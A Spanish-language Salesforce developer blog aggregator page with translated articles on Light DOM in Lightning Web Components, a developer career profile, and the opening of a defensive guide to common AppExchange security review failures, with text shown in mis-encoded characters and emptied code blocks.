Skip to content

Etiqueta: lwc

Presentaci贸n de la capacidad m贸vil de DocumentScanner 鈽侊笍

La capacidad m贸vil de la API DocumentScanner permite a los desarrolladores escanear documentos e im谩genes y extraer texto en datos estructurados que puede utilizar en los LWCs.

The post Presentaci贸n de la funci贸n m贸vil de DocumentScanner appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

T铆tulo del mensaje: Comparte tu voz hoy: Principales mejoras deseadas por los promotores para el LWC 鈽侊笍

T铆tulo del mensaje: Comparte tu voz hoy: Principales mejoras deseadas por los promotores para el LWC 鈽侊笍

Revisa las respuestas a la Encuesta sobre el estado de LWC 2023 y, a continuaci贸n, completa la encuesta 2024, que se llevar谩 a cabo hasta finales de marzo de 2024.

Participa en la Encuesta sobre el estado de LWC 2024

The post Las principales mejoras que los desarrolladores desean ver en LWC: 隆h谩gase o铆r hoy mismo! appeared first on Blog de desarrolladores de Salesforce.

Salesforce Developers Blog

Seguir leyendo

La versi贸n Spring ’24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring '24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring ’24 ya est谩 aqu铆, y estos son algunos de los aspectos m谩s destacados de la versi贸n, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

The post Gu铆a para desarrolladores de Salesforce sobre la versi贸n Spring ’24 appeared first on Blog para desarrolladores de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

Seguir leyendo

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

Presentaci贸n del control de versiones de API a nivel de componente de LWC 鈽侊笍

El versionado de la API de LWC es una excelente forma de garantizar la compatibilidad con versiones anteriores de los componentes existentes y, al mismo tiempo, permitir que los nuevos componentes adopten las nuevas caracter铆sticas.

The post Presentaci贸n del control de versiones de API a nivel de componente para LWC appeared first on Blog de desarrolladores de Salesforce.

Blog de desarrolladores de Salesforce

Seguir leyendo

Prepare sus componentes LWC para Shadow DOM nativo en Spring ’24 鈽侊笍

Prepare sus componentes LWC para Shadow DOM nativo en Spring '24 鈽侊笍

El shadow DOM nativo har谩 que tus componentes LWC est茅n m谩s alineados con los est谩ndares web, las nuevas caracter铆sticas de los navegadores y un rendimiento mejorado.

The post Prepare sus componentes LWC para Shadow DOM nativo en Spring ’24 appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados 鈽侊笍

Aumente la flexibilidad de Experience Builder con editores de propiedades y tipos personalizados 鈽侊笍

Aprenda a hacer que sus componentes web Lightning sean visualmente interactivos y f谩ciles de configurar en Experience Builder.

Los componentes web Lightning son f谩ciles de configurar en Experience Builder

The post Mejore la flexibilidad con editores y tipos de propiedades personalizadas en Experience Builder appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Creaci贸n de experiencias ciudadanas al ritmo de Salesforce

Se necesita un amplio conjunto de funciones para ofrecer y respaldar las experiencias digitales de los ciudadanos; 驴c贸mo pueden los departamentos del gobierno del Reino Unido ofrecerlas a un ritmo adecuado con Salesforce?

The post Creaci贸n de experiencias ciudadanas a un ritmo acelerado con Salesforce appeared first on Blog de Salesforce en Espa帽a.

Seguir leyendo

Optimice su organizaci贸n de Salesforce con estas 7 perspectivas cr铆ticas

Aunque esperamos que su organizaci贸n de Salesforce sea la excepci贸n, seg煤n las 煤ltimas investigaciones, es probable que albergue m谩s de 2000 riesgos de seguridad de c贸digo personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatizaci贸n. Pero seguro que su organizaci贸n es la excepci贸n, 驴verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]

El post Optimice su organizaci贸n de Salesforce con estos 7 datos cr铆ticos appeared first on Salesforce Ben.

Su organizaci贸n es la excepci贸n

Seguir leyendo

Talleres bien dise帽ados: Desarrolle su mentalidad de arquitecto de Salesforce

Los talleres Well-Architected defienden los principios de 芦buena arquitectura禄 de Salesforce, pero lo m谩s importante es que los participantes trabajan en grupos para debatir y proponer soluciones que apliquen estos principios a escenarios empresariales. La iniciativa y los talleres Well-Architected fueron creados por el equipo Salesforce Architect Relations. Recientemente asist铆 a uno impartido por Gaurav Kheterpal, un arquitecto empresarial de m煤ltiples nubes (con muchos galardones), […]

El post Talleres bien dise帽ados: Build Your Salesforce Architect Mindset appeared first on Salesforce Ben.

Talleres bien dise帽ados: Construya su mentalidad de arquitecto de Salesforce

Seguir leyendo

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una funci贸n de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (c贸digo abierto) y todas las versiones de la aplicaci贸n m贸vil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulaci贸n y seguridad s贸lidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una caracter铆stica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

驴C贸mo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Adem谩s, no permite que el c贸digo JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitri贸n en lugar de a su 谩rbol de sombra. Luego puede acceder al marcado desde otros componentes de la p谩gina como cualquier otro contenido en el host del documento que no est茅 protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador est谩ndar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O m谩s simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cu谩ndo usarlo y cu谩ndo no usarlo

Light DOM es una opci贸n para cada componente individual. Sus efectos no se aplicar谩n a otros componentes a menos que tambi茅n opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador est谩ndar, aplicar estilos globales o necesita m谩s flexibilidad para implementar las mejores pr谩cticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con m谩s profundidad en la siguiente secci贸n.

No recomendamos habilitar DOM ligero para un componente si ese componente aparece o funciona con datos confidenciales. El uso de DOM ligero elimina la encapsulaci贸n de DOM en sombra y expone los componentes al raspado de DOM. Por lo tanto, tenga en cuenta esta importante consideraci贸n.

Casos de uso habilitados por DOM ligero

Light DOM permite varios casos de uso que anteriormente no eran compatibles.

1) Soporte de bibliotecas que necesitan acceso a las partes internas de un componente

Light DOM permite el uso de bibliotecas que necesitan acceso a los componentes internos. Un buen ejemplo de esto son las bibliotecas de an谩lisis utilizadas en los sitios de Experience Cloud, como Google Analytics, ya que necesitan acceso a los componentes internos para obtener mejores resultados.

Podemos probar este caso de uso, incluido el componente helloCodey anterior, en un componente principal mascotChanger de la siguiente manera.

mascotChanger.html

<dx-code-block title language="html" code-block="
芦>

mascotChanger.js

Tenga en cuenta que, aunque el p谩rrafo consultado pertenece al componente helloCodey , podemos acceder a 茅l con this.template.querySelector , porque pertenece al DOM ligero secundario. Sin embargo, si el componente helloCodey no tuviera habilitado el DOM ligero, querySelector habr铆a devuelto null .

Tambi茅n puede acceder a los componentes internos del DOM ligero desde un script que se carga como un recurso est谩tico en la p谩gina, siempre y cuando todos los componentes ancestros est茅n habilitados para el DOM ligero. Por ejemplo, en un sitio LWR Experience Cloud, que es DOM completamente ligero, puede agregar un recurso est谩tico de JavaScript que encuentre los componentes internos helloCodey de la siguiente manera.

myJSResource.js

2) Implementaci贸n m谩s sencilla de componentes profundamente anidados

Otro ejemplo en el que esto puede resultar 煤til es implementar componentes complejos y profundamente anidados. En ese caso, es posible que prefiera tener un 煤nico componente DOM de sombra en el nivel superior y componentes DOM claros dentro para evitar gastos generales. Por ejemplo, un componente de tabla de datos personalizado puede tener solo un gran componente DOM de sombra alrededor de todo, en lugar de una sombra para cada fila y celda de la tabla.

Esta implementaci贸n facilita la consulta de sus propios elementos desde el componente de nivel superior de su jerarqu铆a y tambi茅n la implementaci贸n de la accesibilidad. Adem谩s, hay una ligera mejora en el rendimiento en algunos casos de uso al usar DOM claro sobre DOM sombreado, lo que se debe principalmente a la sobrecarga de simplemente crear nodos de sombra adicionales.

3) Estilo global

Light DOM tambi茅n facilita el estilo global, ya que permite que los estilos CSS caigan en cascada en el marcado del componente. Por ejemplo, un componente DOM ligero puede establecer un estilo que se carga y luego se aplica una vez para todos los componentes DOM ligeros de la p谩gina. La inyecci贸n de estilos globales a trav茅s de DOM ligero solo se admite en sitios de Experience Cloud, editor de contenido CMS o Sales Enablement.

Por ejemplo, definamos un componente colorChanger de la siguiente manera.

colorChanger.html

<dx-code-block title language="html" code-block="
芦>

colorChanger.js

colorChanger.css

El color de fondo azul se aplicar谩 a los p谩rrafos de todas las instancias del componente helloCodey en la p谩gina, ya que est谩 habilitado para DOM claro.

En la mayor铆a de los casos, no querr谩s que tu estilo se filtre a otros componentes. Eso todav铆a es posible para componentes DOM ligeros. Solo necesita colocar esas reglas de estilo en un archivo *.scoped.css , para que tengan como alcance el componente DOM ligero. El CSS con alcance est谩 escrito exactamente igual que el CSS normal, pero solo se aplicar谩 a ese componente sin filtrarse.

Tenga en cuenta que si las reglas de estilo se cargan globalmente como recursos est谩ticos en una p谩gina de Lightning Experience o un sitio de Experience Cloud, se les quitar谩 el alcance y se aplicar谩n tanto a los componentes DOM claros como tambi茅n a los componentes DOM de sombra, ya que la sombra sint茅tica no evitar谩 que se filtren. Esta es una limitaci贸n que se solucionar谩 una vez que la sombra nativa sea totalmente compatible (actualmente en Developer Preview ). Cuando la sombra nativa est谩 habilitada, solo los componentes habilitados para DOM claro heredar谩n los estilos globales.

4) Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad

Light DOM permite que un componente haga referencia a la i d un elemento que vive en otro componente separado habilitado para Light DOM. Esto le permite vincular dos elementos utilizando los atributos i d y aria , lo que le otorga flexibilidad adicional para implementar las mejores pr谩cticas de accesibilidad en sus proyectos. Mejoremos nuestro componente mascotChanger para demostrar esto.

mascotChanger.html

<dx-code-block title language="html" code-block="

芦>

mascotChanger.js

mascotaNombreInput.html

<dx-code-block title language="html" code-block="

芦>

mascotaNombreEtiqueta.html

<dx-code-block title language="html" code-block="

芦>

Tenga en cuenta que Salesforce est谩 trabajando actualmente con el W3C para agregar nuevos est谩ndares, de modo que el DOM oculto nativo pueda participar en estos patrones de accesibilidad. Esto significa que, en el futuro, este caso de uso ligero de DOM no ser谩 necesario. Como parte de nuestros esfuerzos de accesibilidad, tambi茅n patrocinamos a Igalia para implementar parcialmente ARIA Element Reflection , que ahora es totalmente compatible con Safari y parcialmente con Chrome. Si quieres saber m谩s sobre este tema, echa un vistazo a nuestra propuesta cross-root-aria , el repositorio para el grupo de trabajo Modelo de objetos de accesibilidad .

La siguiente tabla resume los casos de uso y d贸nde se admiten.

Experiencia en la nube Experiencia rel谩mpago Aplicaciones m贸viles de Salesforce LWC OSS/LWR en Node.js*
Soporte de bibliotecas que necesitan acceso a las partes internas de los componentes. S铆 S铆 S铆 S铆
Implementaci贸n m谩s sencilla de componentes profundamente anidados S铆 S铆 S铆 S铆
Estilo global S铆 No No S铆
Implementaci贸n m谩s flexible de las mejores pr谩cticas de accesibilidad S铆 S铆 S铆 S铆

*Si se utiliza DOM de sombra nativo en lugar de sombra sint茅tica . La sombra nativa es la opci贸n predeterminada para LWC OSS y LWR en Node.js.

Otras Consideraciones

Cuando se trabaja con DOM ligero, hay algunas consideraciones adicionales a tener en cuenta, entre ellas:

  • Los eventos no se reorientan con DOM ligero. Lea m谩s en la gu铆a para desarrolladores .
  • No hay soporte de navegador para espacios fuera del DOM oculto, por lo que se emula. Esto implica que algunas funciones, como los enlaces de ciclo de vida, no est谩n disponibles en ellos. Eche un vistazo a la documentaci贸n para saber m谩s.
  • Por ahora, los componentes ligeros habilitados para DOM no se pueden empaquetar.

Conclusi贸n

En esta publicaci贸n de blog, revisamos qu茅 es el DOM ligero, los casos de uso que permite y las consideraciones a tener en cuenta para decidir qu茅 componentes habilitar谩n la funci贸n. Todos los ejemplos que se muestran en este blog se encuentran en un repositorio de GitHub que puedes probar t煤 mismo.

Para obtener m谩s informaci贸n sobre DOM ligero en la plataforma Salesforce, lea la documentaci贸n o, si est谩 trabajando fuera de la plataforma, lea la documentaci贸n OSS .

Si decide seguir adelante y transformar sus componentes DOM ocultos en componentes DOM claros, consulte esta herramienta creada por Salesforce Engineering para simplificar la migraci贸n.

Sobre el Autor

Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Hema Kumar realiza el trabajo de sus sue帽os como desarrolladora 鈽侊笍

Hema Kumar realiza el trabajo de sus sue帽os como desarrolladora 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Hema Kumar realiza el trabajo de sus sue帽os como desarrolladora | Blog de desarrolladores de Salesforce

Conoce a Hema Kumar La desarrolladora de Salesforce, Hema Kumar , siempre hab铆a so帽ado con una carrera en el sector tecnol贸gico, pero las circunstancias familiares le impidieron cumplir ese sue帽o. A pesar de una oferta de una buena facultad de ingenier铆a lejos de casa, tuvo que obtener un t铆tulo en ciencias en la universidad local.

Cuando comenz贸 la pandemia de COVID-19, Hema hab铆a estado buscando trabajo como asistente de ense帽anza mientras trabajaba a tiempo completo como compradora de viviendas en ASDA. La enviaron a casa durante el encierro y quer铆a dedicar su tiempo a hacer algo productivo. El cu帽ado de Hema trabajaba en Accenture y le sugiri贸 que explorara Salesforce a trav茅s de Trailhead , la puerta de entrada al ecosistema de Salesforce, donde cualquiera puede aprender de forma gratuita las habilidades m谩s demandadas y relevantes de la actualidad, obtener credenciales dignas de un curr铆culum y conectarse a redes globales. oportunidades.

" Debido a la naturaleza interactiva de Trailhead", recuerda Hema, "y al gran apoyo de los grupos Trailblazer, pronto me sent铆 parte de Salesforce Ohana". Continu贸 aprendiendo en Trailhead con resultados impresionantes: hasta la fecha, complet贸 43 senderos, obtuvo 316 insignias y cinco superbadges, y acumul贸 196.000 puntos. El arduo trabajo de Hema tambi茅n le vali贸 cuatro certificaciones de Salesforce , incluidas Administradora y Creadora de aplicaciones , lo que inicialmente la llev贸 a considerar la carrera profesional de Administradora de Salesforce.

Debido a la naturaleza interactiva de Trailhead y al gran apoyo de los grupos Trailblazer, pronto me sent铆 parte de Salesforce Ohana.

Luego, Hema encontr贸 un curso para desarrolladores de Salesforce impartido por FDM , un socio de Salesforce Workforce Development, y decidi贸 inscribirse. El extenso curso de 12 semanas le ense帽贸 habilidades de desarrollo esenciales e incluy贸 pr谩ctica pr谩ctica, proyectos y una evaluaci贸n exhaustiva. Ella lo recuerda como 鈥渆mocionante, desafiante y muy intenso鈥 y, a trav茅s de perseverancia y dedicaci贸n, complet贸 con 茅xito el programa.

Poniendo sus nuevas habilidades a trabajar en su primer trabajo tecnol贸gico

Despu茅s de graduarse del curso FDM, Hema tard贸 aproximadamente un a帽o en conseguir su primer trabajo como desarrolladora. FDM la ayud贸 a conectarse con empleadores de Salesforce y comenz贸 a entrevistarse con National Grid ESO para un puesto como desarrolladora junior de Salesforce. Consigui贸 el trabajo y desde entonces se ha convertido en uno de los miembros clave del equipo de desarrollo de Salesforce de su empresa. 鈥淕racias al equipo de FDM por apoyarme鈥, dice, 鈥測 gracias a National Grid por brindarme esta oportunidad y creer en m铆鈥.

El papel de Hema en National Grid gira en torno al apoyo al desarrollo, la personalizaci贸n y la configuraci贸n como parte de la entrega de DevOps de su equipo. La mayor parte de su trabajo incluye la creaci贸n de objetos, campos, reglas de validaci贸n, flujos, clases de Apex y desencadenadores. Adem谩s, recientemente comenz贸 a trabajar para mejorar sus Lighting Web Components (LWC). Hema tambi茅n cree que las buenas habilidades de comunicaci贸n son esenciales para una colaboraci贸n eficaz en equipo y para mantener a todos actualizados sobre el estado de los proyectos individuales, los riesgos y otras inquietudes.

Consejos para aspirantes a desarrolladores: comience con Salesforce

Para Hema, Salesforce le ha brindado un camino para generar confianza en sus habilidades y hacer realidad su sue帽o. Ella recomienda la misma experiencia a 鈥渃ualquiera que sea dedicado, disciplinado, pueda administrar el tiempo con criterio y est茅 lleno de entusiasmo por aprender鈥.

Adem谩s de la s贸lida plataforma de aprendizaje Trailhead, Salesforce ofrece oportunidades de tutor铆a, una comunidad global de desarrolladores Trailblazer de Salesforce y eventos de Salesforce como formas de interactuar con sus pares. Los nuevos desarrolladores pueden beneficiarse de la comunidad al encontrar informaci贸n 煤til, solicitar ayuda oportuna u obtener asesoramiento profesional.

Lo que m谩s le gusta a Hema de una carrera profesional dentro del ecosistema de Salesforce es la naturaleza integral del soporte en cada paso del camino. 鈥淓s un paquete completo鈥, afirma, 鈥渄esde el inicio de mi aprendizaje hasta conseguir mi primer trabajo, no tuve que buscar ayuda o consejo en ning煤n otro lugar鈥.

La historia de Hema destaca c贸mo Salesforce ayuda a personas t茅cnicas y no t茅cnicas a alcanzar sus objetivos. Y a帽ade: "Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes".

Salesforce tiene una variedad de opciones profesionales de nivel inicial adecuadas para todas las personas, independientemente de sus antecedentes.

Para conocer desarrolladores como Hema y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de participaci贸n de desarrolladores globales de Salesforce. En este puesto, busca involucrar y elevar a la comunidad de desarrolladores y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, logros y sus inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en www.salesforce.com/devcommunity . Christie, community manager certificada y comercializadora galardonada con m煤ltiples premios, cree en el buen c贸digo, la comunidad y la igualdad.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

